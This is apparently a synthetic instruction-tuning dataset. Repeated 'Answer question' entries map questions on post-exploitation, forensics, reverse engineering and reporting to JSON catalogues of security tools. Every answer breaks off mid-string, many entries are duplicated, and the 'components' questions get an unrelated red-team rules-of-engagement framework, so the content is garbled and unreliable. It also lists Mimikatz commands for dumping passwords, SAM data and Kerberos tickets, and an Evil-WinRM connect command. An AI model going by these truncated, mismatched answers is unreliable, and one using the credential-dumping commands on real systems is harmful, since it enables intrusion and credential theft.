        "CodeExecution",
        "ScriptModification",
        "Persistence",
        "Privesc",
        "Recon",
        "Exfiltration"
      ],
      "skill_level": "Advanced"
    },
    "evil-winrm": {
      "name": "Evil-WinRM",
      "description": "Windows Remote Management shell",
      "category": "Remote Shell",
      "when_to_use": [
        "Windows remote access",
        "Post-exploitation",
        "File transfer",
        "Service manipulation"
      ],
      "common_commands": {
        "connect": "evil-winrm -i target.com -u admin -p p


Instruction: Answer question

Input: Describe post exploitation

Output:
{
  "description": "Tools for maintaining access and post-exploitation",
  "tools": {
    "empire": {
      "name": "Empire/Starkiller",
      "description": "Post-exploitation framework",
      "category": "C2 Framework",
      "when_to_use": [
        "Post-exploitation",
        "Lateral movement",
        "Persistence",
        "Data exfiltration"
      ],
      "key_features": [
        "PowerShell agents",
        "Python agents",
        "Flexible communication",
        "Module library"
      ],
      "skill_level": "Advanced"
    },
    "mimikatz": {
      "name": "Mimikatz",
      "description": "Windows credential extraction",
      "category": "Credential Dumper",
      "when_to_use": [
        "Password extraction",
        "Hash dumping",
        "Kerberos ticket extraction",
        "Pass-the-hash attacks"
      ],
      "common_modules": {
        "sekurlsa::logonpasswords": "Dump passwords",
        "lsadump::sam": "Dump SAM database",
        "kerberos::list": "List Kerberos tickets",
        "token::elevate": "Token manipulation"
      },
      "skill_level": "Advanced"
    },
    "powersploit": {
      "name": "PowerSploit",
      "description": "PowerShell post-exploitation framework",
      "category": "PowerShell Framework",
      "when_to_use": [
        "Windows post-exploitation",
        "Privilege escalation",
        "Persistence",
        "AV evasion"
      ],
      "module_categories": [
        "CodeExecution",
        "ScriptModification",
        "Persistence",
        "Privesc",
        "Recon",
        "Exfiltration"
      ],
      "skill_level": "Advanced"
    },
    "evil-winrm": {
      "name": "Evil-WinRM",
      "description": "Windows Remote Management shell",
      "category": "Remote Shell",
      "when_to_use": [
        "Windows remote access",
        "Post-exploitation",
        "File transfer",
        "Service manipulation"
      ],
      "common_commands": {
        "connect": "evil-winrm -i target.com -u admin -p p


Instruction: Answer question

Input: What is forensics?

Output:
{
  "description": "Digital forensics and investigation tools",
  "tools": {
    "autopsy": {
      "name": "Autopsy",
      "description": "Digital forensics platform",
      "category": "Forensics Suite",
      "when_to_use": [
        "Disk image analysis",
        "File recovery",
        "Timeline analysis",
        "Registry analysis"
      ],
      "features": [
        "File system analysis",
        "Keyword searching",
        "Email analysis",
        "Registry analysis",
        "Timeline generation"
      ],
      "skill_level": "Intermediate to Advanced"
    },
    "volatility": {
      "name": "Volatility",
      "description": "Memory forensics framework",
      "category": "Memory Analysis",
      "when_to_use": [
        "RAM analysis",
        "Malware detection",
        "Process analysis",
        "Network connection recovery"
      ],
      "common_plugins": {
        "imageinfo": "Identify image profile",
        "pslist": "List running processes",
        "netscan": "Network connections",
        "malfind": "Find injected code",
        "dumpfiles": "Extract files from memory"
      },
      "common_commands": {
        "profile_detection": "volatility -f memory.dmp imageinfo",
        "process_list": "volatility -f memory.dmp --profile=Win7SP1x64 pslist",
        "network_connections": "volatility -f memory.dmp --profile=Win7SP1x64 netscan",
        "dump_process": "volatility -f memory.dmp --profile=Win7SP1x64 procdump -p PID -D output/"
      },
      "skill_level": "Advanced"
    },
    "binwalk": {
      "name": "Binwalk",
      "description": "Firmware analysis tool",
      "category": "Binary Analysis",
      "when_to_use": [
        "Firmware extraction",
        "Embedded file detection",
        "Binary analysis",
        "IoT device analysis"
      ],
      "common_commands": {
        "scan": "binwalk firmware.bin",
        "extract": "binwalk -e firmware.bin",
        "entropy": "binwalk -E firmware.bin",
        "signature": "bi


Instruction: Answer question

Input: Explain forensics

Output:
{
  "description": "Digital forensics and investigation tools",
  "tools": {
    "autopsy": {
      "name": "Autopsy",
      "description": "Digital forensics platform",
      "category": "Forensics Suite",
      "when_to_use": [
        "Disk image analysis",
        "File recovery",
        "Timeline analysis",
        "Registry analysis"
      ],
      "features": [
        "File system analysis",
        "Keyword searching",
        "Email analysis",
        "Registry analysis",
        "Timeline generation"
      ],
      "skill_level": "Intermediate to Advanced"
    },
    "volatility": {
      "name": "Volatility",
      "description": "Memory forensics framework",
      "category": "Memory Analysis",
      "when_to_use": [
        "RAM analysis",
        "Malware detection",
        "Process analysis",
        "Network connection recovery"
      ],
      "common_plugins": {
        "imageinfo": "Identify image profile",
        "pslist": "List running processes",
        "netscan": "Network connections",
        "malfind": "Find injected code",
        "dumpfiles": "Extract files from memory"
      },
      "common_commands": {
        "profile_detection": "volatility -f memory.dmp imageinfo",
        "process_list": "volatility -f memory.dmp --profile=Win7SP1x64 pslist",
        "network_connections": "volatility -f memory.dmp --profile=Win7SP1x64 netscan",
        "dump_process": "volatility -f memory.dmp --profile=Win7SP1x64 procdump -p PID -D output/"
      },
      "skill_level": "Advanced"
    },
    "binwalk": {
      "name": "Binwalk",
      "description": "Firmware analysis tool",
      "category": "Binary Analysis",
      "when_to_use": [
        "Firmware extraction",
        "Embedded file detection",
        "Binary analysis",
        "IoT device analysis"
      ],
      "common_commands": {
        "scan": "binwalk firmware.bin",
        "extract": "binwalk -e firmware.bin",
        "entropy": "binwalk -E firmware.bin",
        "signature": "bi


Instruction: Answer question

Input: Tell me about forensics

Output:
{
  "description": "Digital forensics and investigation tools",
  "tools": {
    "autopsy": {
      "name": "Autopsy",
      "description": "Digital forensics platform",
      "category": "Forensics Suite",
      "when_to_use": [
        "Disk image analysis",
        "File recovery",
        "Timeline analysis",
        "Registry analysis"
      ],
      "features": [
        "File system analysis",
        "Keyword searching",
        "Email analysis",
        "Registry analysis",
        "Timeline generation"
      ],
      "skill_level": "Intermediate to Advanced"
    },
    "volatility": {
      "name": "Volatility",
      "description": "Memory forensics framework",
      "category": "Memory Analysis",
      "when_to_use": [
        "RAM analysis",
        "Malware detection",
        "Process analysis",
        "Network connection recovery"
      ],
      "common_plugins": {
        "imageinfo": "Identify image profile",
        "pslist": "List running processes",
        "netscan": "Network connections",
        "malfind": "Find injected code",
        "dumpfiles": "Extract files from memory"
      },
      "common_commands": {
        "profile_detection": "volatility -f memory.dmp imageinfo",
        "process_list": "volatility -f memory.dmp --profile=Win7SP1x64 pslist",
        "network_connections": "volatility -f memory.dmp --profile=Win7SP1x64 netscan",
        "dump_process": "volatility -f memory.dmp --profile=Win7SP1x64 procdump -p PID -D output/"
      },
      "skill_level": "Advanced"
    },
    "binwalk": {
      "name": "Binwalk",
      "description": "Firmware analysis tool",
      "category": "Binary Analysis",
      "when_to_use": [
        "Firmware extraction",
        "Embedded file detection",
        "Binary analysis",
        "IoT device analysis"
      ],
      "common_commands": {
        "scan": "binwalk firmware.bin",
        "extract": "binwalk -e firmware.bin",
        "entropy": "binwalk -E firmware.bin",
        "signature": "bi


Instruction: Answer question

Input: How does forensics work?

Output:
{
  "description": "Digital forensics and investigation tools",
  "tools": {
    "autopsy": {
      "name": "Autopsy",
      "description": "Digital forensics platform",
      "category": "Forensics Suite",
      "when_to_use": [
        "Disk image analysis",
        "File recovery",
        "Timeline analysis",
        "Registry analysis"
      ],
      "features": [
        "File system analysis",
        "Keyword searching",
        "Email analysis",
        "Registry analysis",
        "Timeline generation"
      ],
      "skill_level": "Intermediate to Advanced"
    },
    "volatility": {
      "name": "Volatility",
      "description": "Memory forensics framework",
      "category": "Memory Analysis",
      "when_to_use": [
        "RAM analysis",
        "Malware detection",
        "Process analysis",
        "Network connection recovery"
      ],
      "common_plugins": {
        "imageinfo": "Identify image profile",
        "pslist": "List running processes",
        "netscan": "Network connections",
        "malfind": "Find injected code",
        "dumpfiles": "Extract files from memory"
      },
      "common_commands": {
        "profile_detection": "volatility -f memory.dmp imageinfo",
        "process_list": "volatility -f memory.dmp --profile=Win7SP1x64 pslist",
        "network_connections": "volatility -f memory.dmp --profile=Win7SP1x64 netscan",
        "dump_process": "volatility -f memory.dmp --profile=Win7SP1x64 procdump -p PID -D output/"
      },
      "skill_level": "Advanced"
    },
    "binwalk": {
      "name": "Binwalk",
      "description": "Firmware analysis tool",
      "category": "Binary Analysis",
      "when_to_use": [
        "Firmware extraction",
        "Embedded file detection",
        "Binary analysis",
        "IoT device analysis"
      ],
      "common_commands": {
        "scan": "binwalk firmware.bin",
        "extract": "binwalk -e firmware.bin",
        "entropy": "binwalk -E firmware.bin",
        "signature": "bi


Instruction: Answer question

Input: Describe forensics

Output:
{
  "description": "Digital forensics and investigation tools",
  "tools": {
    "autopsy": {
      "name": "Autopsy",
      "description": "Digital forensics platform",
      "category": "Forensics Suite",
      "when_to_use": [
        "Disk image analysis",
        "File recovery",
        "Timeline analysis",
        "Registry analysis"
      ],
      "features": [
        "File system analysis",
        "Keyword searching",
        "Email analysis",
        "Registry analysis",
        "Timeline generation"
      ],
      "skill_level": "Intermediate to Advanced"
    },
    "volatility": {
      "name": "Volatility",
      "description": "Memory forensics framework",
      "category": "Memory Analysis",
      "when_to_use": [
        "RAM analysis",
        "Malware detection",
        "Process analysis",
        "Network connection recovery"
      ],
      "common_plugins": {
        "imageinfo": "Identify image profile",
        "pslist": "List running processes",
        "netscan": "Network connections",
        "malfind": "Find injected code",
        "dumpfiles": "Extract files from memory"
      },
      "common_commands": {
        "profile_detection": "volatility -f memory.dmp imageinfo",
        "process_list": "volatility -f memory.dmp --profile=Win7SP1x64 pslist",
        "network_connections": "volatility -f memory.dmp --profile=Win7SP1x64 netscan",
        "dump_process": "volatility -f memory.dmp --profile=Win7SP1x64 procdump -p PID -D output/"
      },
      "skill_level": "Advanced"
    },
    "binwalk": {
      "name": "Binwalk",
      "description": "Firmware analysis tool",
      "category": "Binary Analysis",
      "when_to_use": [
        "Firmware extraction",
        "Embedded file detection",
        "Binary analysis",
        "IoT device analysis"
      ],
      "common_commands": {
        "scan": "binwalk firmware.bin",
        "extract": "binwalk -e firmware.bin",
        "entropy": "binwalk -E firmware.bin",
        "signature": "bi


Instruction: Answer question

Input: What is reverse engineering?

Output:
{
  "description": "Tools for reverse engineering and malware analysis",
  "tools": {
    "ghidra": {
      "name": "Ghidra",
      "description": "Software reverse engineering framework",
      "category": "Reverse Engineering Suite",
      "when_to_use": [
        "Binary analysis",
        "Malware analysis",
        "Vulnerability research",
        "Firmware analysis"
      ],
      "features": [
        "Disassembly",
        "Decompilation",
        "Scripting support",
        "Multi-platform support"
      ],
      "skill_level": "Advanced"
    },
    "radare2": {
      "name": "Radare2",
      "description": "Reverse engineering framework",
      "category": "Binary Analysis",
      "when_to_use": [
        "Binary analysis",
        "Debugging",
        "Forensics",
        "Exploit development"
      ],
      "common_commands": {
        "analyze": "r2 -A binary",
        "disassemble": "pd 20",
        "strings": "iz",
        "functions": "afl",
        "visual_mode": "V"
      },
      "skill_level": "Advanced"
    },
    "gdb": {
      "name": "GDB",
      "description": "GNU Debugger",
      "category": "Debugger",
      "when_to_use": [
        "Binary debugging",
        "Exploit development",
        "Crash analysis",
        "Runtime analysis"
      ],
      "common_commands": {
        "run": "run",
        "breakpoint": "break main",
        "continue": "continue",
        "step": "step",
        "examine": "x/10x $esp",
        "disassemble": "disas main"
      },
      "enhanced_versions": {
        "gef": "GDB Enhanced Features",
        "peda": "Python Exploit Development Assistance",
        "pwndbg": "Exploit development and reverse engineering"
      },
      "skill_level": "Intermediate to Advanced"
    },
    "objdump": {
      "name": "Objdump",
      "description": "Display information from object files",
      "category": "Binary Analysis",
      "when_to_use": [
        "Quick binary inspection",
        "Disassembly",
        "He


Instruction: Answer question

Input: Explain reverse engineering

Output:
{
  "description": "Tools for reverse engineering and malware analysis",
  "tools": {
    "ghidra": {
      "name": "Ghidra",
      "description": "Software reverse engineering framework",
      "category": "Reverse Engineering Suite",
      "when_to_use": [
        "Binary analysis",
        "Malware analysis",
        "Vulnerability research",
        "Firmware analysis"
      ],
      "features": [
        "Disassembly",
        "Decompilation",
        "Scripting support",
        "Multi-platform support"
      ],
      "skill_level": "Advanced"
    },
    "radare2": {
      "name": "Radare2",
      "description": "Reverse engineering framework",
      "category": "Binary Analysis",
      "when_to_use": [
        "Binary analysis",
        "Debugging",
        "Forensics",
        "Exploit development"
      ],
      "common_commands": {
        "analyze": "r2 -A binary",
        "disassemble": "pd 20",
        "strings": "iz",
        "functions": "afl",
        "visual_mode": "V"
      },
      "skill_level": "Advanced"
    },
    "gdb": {
      "name": "GDB",
      "description": "GNU Debugger",
      "category": "Debugger",
      "when_to_use": [
        "Binary debugging",
        "Exploit development",
        "Crash analysis",
        "Runtime analysis"
      ],
      "common_commands": {
        "run": "run",
        "breakpoint": "break main",
        "continue": "continue",
        "step": "step",
        "examine": "x/10x $esp",
        "disassemble": "disas main"
      },
      "enhanced_versions": {
        "gef": "GDB Enhanced Features",
        "peda": "Python Exploit Development Assistance",
        "pwndbg": "Exploit development and reverse engineering"
      },
      "skill_level": "Intermediate to Advanced"
    },
    "objdump": {
      "name": "Objdump",
      "description": "Display information from object files",
      "category": "Binary Analysis",
      "when_to_use": [
        "Quick binary inspection",
        "Disassembly",
        "He


Instruction: Answer question

Input: Tell me about reverse engineering

Output:
{
  "description": "Tools for reverse engineering and malware analysis",
  "tools": {
    "ghidra": {
      "name": "Ghidra",
      "description": "Software reverse engineering framework",
      "category": "Reverse Engineering Suite",
      "when_to_use": [
        "Binary analysis",
        "Malware analysis",
        "Vulnerability research",
        "Firmware analysis"
      ],
      "features": [
        "Disassembly",
        "Decompilation",
        "Scripting support",
        "Multi-platform support"
      ],
      "skill_level": "Advanced"
    },
    "radare2": {
      "name": "Radare2",
      "description": "Reverse engineering framework",
      "category": "Binary Analysis",
      "when_to_use": [
        "Binary analysis",
        "Debugging",
        "Forensics",
        "Exploit development"
      ],
      "common_commands": {
        "analyze": "r2 -A binary",
        "disassemble": "pd 20",
        "strings": "iz",
        "functions": "afl",
        "visual_mode": "V"
      },
      "skill_level": "Advanced"
    },
    "gdb": {
      "name": "GDB",
      "description": "GNU Debugger",
      "category": "Debugger",
      "when_to_use": [
        "Binary debugging",
        "Exploit development",
        "Crash analysis",
        "Runtime analysis"
      ],
      "common_commands": {
        "run": "run",
        "breakpoint": "break main",
        "continue": "continue",
        "step": "step",
        "examine": "x/10x $esp",
        "disassemble": "disas main"
      },
      "enhanced_versions": {
        "gef": "GDB Enhanced Features",
        "peda": "Python Exploit Development Assistance",
        "pwndbg": "Exploit development and reverse engineering"
      },
      "skill_level": "Intermediate to Advanced"
    },
    "objdump": {
      "name": "Objdump",
      "description": "Display information from object files",
      "category": "Binary Analysis",
      "when_to_use": [
        "Quick binary inspection",
        "Disassembly",
        "He


Instruction: Answer question

Input: How does reverse engineering work?

Output:
{
  "description": "Tools for reverse engineering and malware analysis",
  "tools": {
    "ghidra": {
      "name": "Ghidra",
      "description": "Software reverse engineering framework",
      "category": "Reverse Engineering Suite",
      "when_to_use": [
        "Binary analysis",
        "Malware analysis",
        "Vulnerability research",
        "Firmware analysis"
      ],
      "features": [
        "Disassembly",
        "Decompilation",
        "Scripting support",
        "Multi-platform support"
      ],
      "skill_level": "Advanced"
    },
    "radare2": {
      "name": "Radare2",
      "description": "Reverse engineering framework",
      "category": "Binary Analysis",
      "when_to_use": [
        "Binary analysis",
        "Debugging",
        "Forensics",
        "Exploit development"
      ],
      "common_commands": {
        "analyze": "r2 -A binary",
        "disassemble": "pd 20",
        "strings": "iz",
        "functions": "afl",
        "visual_mode": "V"
      },
      "skill_level": "Advanced"
    },
    "gdb": {
      "name": "GDB",
      "description": "GNU Debugger",
      "category": "Debugger",
      "when_to_use": [
        "Binary debugging",
        "Exploit development",
        "Crash analysis",
        "Runtime analysis"
      ],
      "common_commands": {
        "run": "run",
        "breakpoint": "break main",
        "continue": "continue",
        "step": "step",
        "examine": "x/10x $esp",
        "disassemble": "disas main"
      },
      "enhanced_versions": {
        "gef": "GDB Enhanced Features",
        "peda": "Python Exploit Development Assistance",
        "pwndbg": "Exploit development and reverse engineering"
      },
      "skill_level": "Intermediate to Advanced"
    },
    "objdump": {
      "name": "Objdump",
      "description": "Display information from object files",
      "category": "Binary Analysis",
      "when_to_use": [
        "Quick binary inspection",
        "Disassembly",
        "He


Instruction: Answer question

Input: Describe reverse engineering

Output:
{
  "description": "Tools for reverse engineering and malware analysis",
  "tools": {
    "ghidra": {
      "name": "Ghidra",
      "description": "Software reverse engineering framework",
      "category": "Reverse Engineering Suite",
      "when_to_use": [
        "Binary analysis",
        "Malware analysis",
        "Vulnerability research",
        "Firmware analysis"
      ],
      "features": [
        "Disassembly",
        "Decompilation",
        "Scripting support",
        "Multi-platform support"
      ],
      "skill_level": "Advanced"
    },
    "radare2": {
      "name": "Radare2",
      "description": "Reverse engineering framework",
      "category": "Binary Analysis",
      "when_to_use": [
        "Binary analysis",
        "Debugging",
        "Forensics",
        "Exploit development"
      ],
      "common_commands": {
        "analyze": "r2 -A binary",
        "disassemble": "pd 20",
        "strings": "iz",
        "functions": "afl",
        "visual_mode": "V"
      },
      "skill_level": "Advanced"
    },
    "gdb": {
      "name": "GDB",
      "description": "GNU Debugger",
      "category": "Debugger",
      "when_to_use": [
        "Binary debugging",
        "Exploit development",
        "Crash analysis",
        "Runtime analysis"
      ],
      "common_commands": {
        "run": "run",
        "breakpoint": "break main",
        "continue": "continue",
        "step": "step",
        "examine": "x/10x $esp",
        "disassemble": "disas main"
      },
      "enhanced_versions": {
        "gef": "GDB Enhanced Features",
        "peda": "Python Exploit Development Assistance",
        "pwndbg": "Exploit development and reverse engineering"
      },
      "skill_level": "Intermediate to Advanced"
    },
    "objdump": {
      "name": "Objdump",
      "description": "Display information from object files",
      "category": "Binary Analysis",
      "when_to_use": [
        "Quick binary inspection",
        "Disassembly",
        "He


Instruction: Answer question

Input: What is reporting?

Output:
{
  "description": "Tools for documentation and reporting",
  "tools": {
    "dradis": {
      "name": "Dradis",
      "description": "Collaboration and reporting framework",
      "category": "Reporting Platform",
      "when_to_use": [
        "Team collaboration",
        "Report generation",
        "Evidence management",
        "Vulnerability tracking"
      ],
      "features": [
        "Multi-user support",
        "Tool integration",
        "Custom templates",
        "Evidence attachments"
      ],
      "skill_level": "Beginner to Intermediate"
    },
    "faraday": {
      "name": "Faraday",
      "description": "Collaborative penetration test IDE",
      "category": "Pentest IDE",
      "when_to_use": [
        "Multi-user pentesting",
        "Real-time collaboration",
        "Vulnerability management",
        "Automated reporting"
      ],
      "integrations": [
        "Metasploit",
        "Nmap",
        "Burp Suite",
        "Nikto",
        "OpenVAS"
      ],
      "skill_level": "Intermediate"
    },
    "pipal": {
      "name": "PIPAL",
      "description": "Password analyzer",
      "category": "Password Analysis",
      "when_to_use": [
        "Password policy analysis",
        "Cracked password statistics",
        "Pattern identification"
      ],
      "common_commands": {
        "analyze": "pipal passwords.txt",
        "top_passwords": "pipal --top 50 passwords.txt",
        "output_report": "pipal passwords.txt > report.txt"
      },
      "skill_level": "Beginner"
    }
  }
}


Instruction: Answer question

Input: Explain reporting

Output:
{
  "description": "Tools for documentation and reporting",
  "tools": {
    "dradis": {
      "name": "Dradis",
      "description": "Collaboration and reporting framework",
      "category": "Reporting Platform",
      "when_to_use": [
        "Team collaboration",
        "Report generation",
        "Evidence management",
        "Vulnerability tracking"
      ],
      "features": [
        "Multi-user support",
        "Tool integration",
        "Custom templates",
        "Evidence attachments"
      ],
      "skill_level": "Beginner to Intermediate"
    },
    "faraday": {
      "name": "Faraday",
      "description": "Collaborative penetration test IDE",
      "category": "Pentest IDE",
      "when_to_use": [
        "Multi-user pentesting",
        "Real-time collaboration",
        "Vulnerability management",
        "Automated reporting"
      ],
      "integrations": [
        "Metasploit",
        "Nmap",
        "Burp Suite",
        "Nikto",
        "OpenVAS"
      ],
      "skill_level": "Intermediate"
    },
    "pipal": {
      "name": "PIPAL",
      "description": "Password analyzer",
      "category": "Password Analysis",
      "when_to_use": [
        "Password policy analysis",
        "Cracked password statistics",
        "Pattern identification"
      ],
      "common_commands": {
        "analyze": "pipal passwords.txt",
        "top_passwords": "pipal --top 50 passwords.txt",
        "output_report": "pipal passwords.txt > report.txt"
      },
      "skill_level": "Beginner"
    }
  }
}


Instruction: Answer question

Input: Tell me about reporting

Output:
{
  "description": "Tools for documentation and reporting",
  "tools": {
    "dradis": {
      "name": "Dradis",
      "description": "Collaboration and reporting framework",
      "category": "Reporting Platform",
      "when_to_use": [
        "Team collaboration",
        "Report generation",
        "Evidence management",
        "Vulnerability tracking"
      ],
      "features": [
        "Multi-user support",
        "Tool integration",
        "Custom templates",
        "Evidence attachments"
      ],
      "skill_level": "Beginner to Intermediate"
    },
    "faraday": {
      "name": "Faraday",
      "description": "Collaborative penetration test IDE",
      "category": "Pentest IDE",
      "when_to_use": [
        "Multi-user pentesting",
        "Real-time collaboration",
        "Vulnerability management",
        "Automated reporting"
      ],
      "integrations": [
        "Metasploit",
        "Nmap",
        "Burp Suite",
        "Nikto",
        "OpenVAS"
      ],
      "skill_level": "Intermediate"
    },
    "pipal": {
      "name": "PIPAL",
      "description": "Password analyzer",
      "category": "Password Analysis",
      "when_to_use": [
        "Password policy analysis",
        "Cracked password statistics",
        "Pattern identification"
      ],
      "common_commands": {
        "analyze": "pipal passwords.txt",
        "top_passwords": "pipal --top 50 passwords.txt",
        "output_report": "pipal passwords.txt > report.txt"
      },
      "skill_level": "Beginner"
    }
  }
}


Instruction: Answer question

Input: How does reporting work?

Output:
{
  "description": "Tools for documentation and reporting",
  "tools": {
    "dradis": {
      "name": "Dradis",
      "description": "Collaboration and reporting framework",
      "category": "Reporting Platform",
      "when_to_use": [
        "Team collaboration",
        "Report generation",
        "Evidence management",
        "Vulnerability tracking"
      ],
      "features": [
        "Multi-user support",
        "Tool integration",
        "Custom templates",
        "Evidence attachments"
      ],
      "skill_level": "Beginner to Intermediate"
    },
    "faraday": {
      "name": "Faraday",
      "description": "Collaborative penetration test IDE",
      "category": "Pentest IDE",
      "when_to_use": [
        "Multi-user pentesting",
        "Real-time collaboration",
        "Vulnerability management",
        "Automated reporting"
      ],
      "integrations": [
        "Metasploit",
        "Nmap",
        "Burp Suite",
        "Nikto",
        "OpenVAS"
      ],
      "skill_level": "Intermediate"
    },
    "pipal": {
      "name": "PIPAL",
      "description": "Password analyzer",
      "category": "Password Analysis",
      "when_to_use": [
        "Password policy analysis",
        "Cracked password statistics",
        "Pattern identification"
      ],
      "common_commands": {
        "analyze": "pipal passwords.txt",
        "top_passwords": "pipal --top 50 passwords.txt",
        "output_report": "pipal passwords.txt > report.txt"
      },
      "skill_level": "Beginner"
    }
  }
}


Instruction: Answer question

Input: Describe reporting

Output:
{
  "description": "Tools for documentation and reporting",
  "tools": {
    "dradis": {
      "name": "Dradis",
      "description": "Collaboration and reporting framework",
      "category": "Reporting Platform",
      "when_to_use": [
        "Team collaboration",
        "Report generation",
        "Evidence management",
        "Vulnerability tracking"
      ],
      "features": [
        "Multi-user support",
        "Tool integration",
        "Custom templates",
        "Evidence attachments"
      ],
      "skill_level": "Beginner to Intermediate"
    },
    "faraday": {
      "name": "Faraday",
      "description": "Collaborative penetration test IDE",
      "category": "Pentest IDE",
      "when_to_use": [
        "Multi-user pentesting",
        "Real-time collaboration",
        "Vulnerability management",
        "Automated reporting"
      ],
      "integrations": [
        "Metasploit",
        "Nmap",
        "Burp Suite",
        "Nikto",
        "OpenVAS"
      ],
      "skill_level": "Intermediate"
    },
    "pipal": {
      "name": "PIPAL",
      "description": "Password analyzer",
      "category": "Password Analysis",
      "when_to_use": [
        "Password policy analysis",
        "Cracked password statistics",
        "Pattern identification"
      ],
      "common_commands": {
        "analyze": "pipal passwords.txt",
        "top_passwords": "pipal --top 50 passwords.txt",
        "output_report": "pipal passwords.txt > report.txt"
      },
      "skill_level": "Beginner"
    }
  }
}


Instruction: Answer question

Input: What is components?

Output:
{
  "rules_of_engagement": {
    "metadata": {
      "created": "2025-08-23T17:18:43.264194",
      "description": "Rules of Engagement framework for red team operations"
    },
    "engagement_levels": {
      "white_box": {
        "description": "Full knowledge testing with source code access",
        "allowed_actions": [
          "Source code review",
          "Architecture analysis",
          "Credential testing with provided accounts",
          "Full vulnerability scanning",
          "Exploit development and testing"
        ],
        "restrictions": []
      },
      "gray_box": {
        "description": "Limited knowledge testing with some insider information",
        "allowed_actions": [
          "Network scanning",
          "Service enumeration",
          "Limited credential testing",
          "Vulnerability assessment",
          "Controlled exploitation"
        ],
        "restrictions": [
          "No production data exfiltration",
          "Limited lateral movement"
        ]
      },
      "black_box": {
        "description": "Zero knowledge testing simulating external attacker",
        "allowed_actions": [
          "OSINT gathering",
          "External reconnaissance",
          "Phishing simulation (with approval)",
          "Public vulnerability scanning",
          "Web application testing"
        ],
        "restrictions": [
          "No insider information",
          "No physical access",
          "No social engineering without approval"
        ]
      }
    },
    "scope_definitions": {
      "in_scope": {
        "criteria": [
          "Explicitly listed IP addresses/ranges",
          "Specified domain names",
          "Authorized applications",
          "Designated cloud resources",
          "Approved user accounts"
        ],
        "verification": "Always verify ownership before testing"
      },
      "out_of_scope": {
        "always_excluded": [
          "Third-party services without permission",


Instruction: Answer question

Input: Explain components

Output:
{
  "rules_of_engagement": {
    "metadata": {
      "created": "2025-08-23T17:18:43.264194",
      "description": "Rules of Engagement framework for red team operations"
    },
    "engagement_levels": {
      "white_box": {
        "description": "Full knowledge testing with source code access",
        "allowed_actions": [
          "Source code review",
          "Architecture analysis",
          "Credential testing with provided accounts",
          "Full vulnerability scanning",
          "Exploit development and testing"
        ],
        "restrictions": []
      },
      "gray_box": {
        "description": "Limited knowledge testing with some insider information",
        "allowed_actions": [
          "Network scanning",
          "Service enumeration",
          "Limited credential testing",
          "Vulnerability assessment",
          "Controlled exploitation"
        ],
        "restrictions": [
          "No production data exfiltration",
          "Limited lateral movement"
        ]
      },
      "black_box": {
        "description": "Zero knowledge testing simulating external attacker",
        "allowed_actions": [
          "OSINT gathering",
          "External reconnaissance",
          "Phishing simulation (with approval)",
          "Public vulnerability scanning",
          "Web application testing"
        ],
        "restrictions": [
          "No insider information",
          "No physical access",
          "No social engineering without approval"
        ]
      }
    },
    "scope_definitions": {
      "in_scope": {
        "criteria": [
          "Explicitly listed IP addresses/ranges",
          "Specified domain names",
          "Authorized applications",
          "Designated cloud resources",
          "Approved user accounts"
        ],
        "verification": "Always verify ownership before testing"
      },
      "out_of_scope": {
        "always_excluded": [
          "Third-party services without permission",


Instruction: Answer question

Input: Tell me about components

Output:
{
  "rules_of_engagement": {
    "metadata": {
      "created": "2025-08-23T17:18:43.264194",
      "description": "Rules of Engagement framework for red team operations"
    },
    "engagement_levels": {
      "white_box": {
        "description": "Full knowledge testing with source code access",
        "allowed_actions": [
          "Source code review",
          "Architecture analysis",
          "Credential testing with provided accounts",
          "Full vulnerability scanning",
          "Exploit development and testing"
        ],
        "restrictions": []
      },
      "gray_box": {
        "description": "Limited knowledge testing with some insider information",
        "allowed_actions": [
          "Network scanning",
          "Service enumeration",
          "Limited credential testing",
          "Vulnerability assessment",
          "Controlled exploitation"
        ],
        "restrictions": [
          "No production data exfiltration",
          "Limited lateral movement"
        ]
      },
      "black_box": {
        "description": "Zero knowledge testing simulating external attacker",
        "allowed_actions": [
          "OSINT gathering",
          "External reconnaissance",
          "Phishing simulation (with approval)",
          "Public vulnerability scanning",
          "Web application testing"
        ],
        "restrictions": [
          "No insider information",
          "No physical access",
          "No social engineering without approval"
        ]
      }
    },
    "scope_definitions": {
      "in_scope": {
        "criteria": [
          "Explicitly listed IP addresses/ranges",
          "Specified domain names",
          "Authorized applications",
          "Designated cloud resources",
          "Approved user accounts"
        ],
        "verification": "Always verify ownership before testing"
      },
      "out_of_scope": {
        "always_excluded": [
          "Third-party services without permission",


Instruction: Answer question

Input: How does components work?

Output:
{
  "rules_of_engagement": {
    "metadata": {
      "created": "2025-08-23T17:18:43.264194",
      "description": "Rules of Engagement framework for red team operations"
    },
    "engagement_levels": {
      "white_box": {
        "description": "Full knowledge testing with source code access",
        "allowed_actions": [
          "Source code review",
          "Architecture analysis",
          "Credential testing with provided accounts",
          "Full vulnerability scanning",
          "Exploit development and testing"
        ],
        "restrictions": []
      },
      "gray_box": {
        "description": "Limited knowledge testing with some insider information",
        "allowed_actions": [
          "Network scanning",
          "Service enumeration",
          "Limited credential testing",
          "Vulnerability assessment",
          "Controlled exploitation"
        ],
        "restrictions": [
          "No production data exfiltration",
          "Limited lateral movement"
        ]
      },
      "black_box": {
        "description": "Zero knowledge testing simulating external attacker",
        "allowed_actions": [
          "OSINT gathering",
          "External reconnaissance",
          "Phishing simulation (with approval)",
          "Public vulnerability scanning",
          "Web application testing"
        ],
        "restrictions": [
          "No insider information",
          "No physical access",
          "No social engineering without approval"
        ]
      }
    },
    "scope_definitions": {
      "in_scope": {
        "criteria": [
          "Explicitly listed IP addresses/ranges",
          "Specified domain names",
          "Authorized applications",
          "Designated cloud resources",
          "Approved user accounts"
        ],
        "verification": "Always verify ownership before testing"
      },
      "out_of_scope": {
        "always_excluded": [
          "Third-party services without permission",


Instruction: Answer question

Input: Describe components

Output:
{
  "rules_of_engagement": {
    "metadata": {
      "created": "2025-08-23T17:18:43.264194",
      "description": "Rules of Engagement framework for red team operations"
    },
    "engagement_levels": {
      "white_box": {
        "description": "Full knowledge testing with source code access",
        "allowed_actions": [
          "Source code review",
          "Architecture analysis",
          "Credential testing with provided accounts",
          "Full vulnerability scanning",
          "Exploit development and testing"
        ],
        "restrictions": []
      },
      "gray_box": {
        "description": "Limited knowledge testing with some insider information",
        "allowed_actions": [
          "Network scanning",
          "Service enumeration",
          "Limited credential testing",
          "Vulnerability assessment",
          "Controlled exploitation"
        ],
        "restrictions": [
          "No production data exfiltration",
          "Limited lateral movement"
        ]
      },
      "black_box": {
        "description": "Zero knowledge testing simulating external attacker",
        "allowed_actions": [
          "OSINT gathering",
          "External reconnaissance",
          "Phishing simulation (with approval)",
          "Public vulnerability scanning",
          "Web application testing"
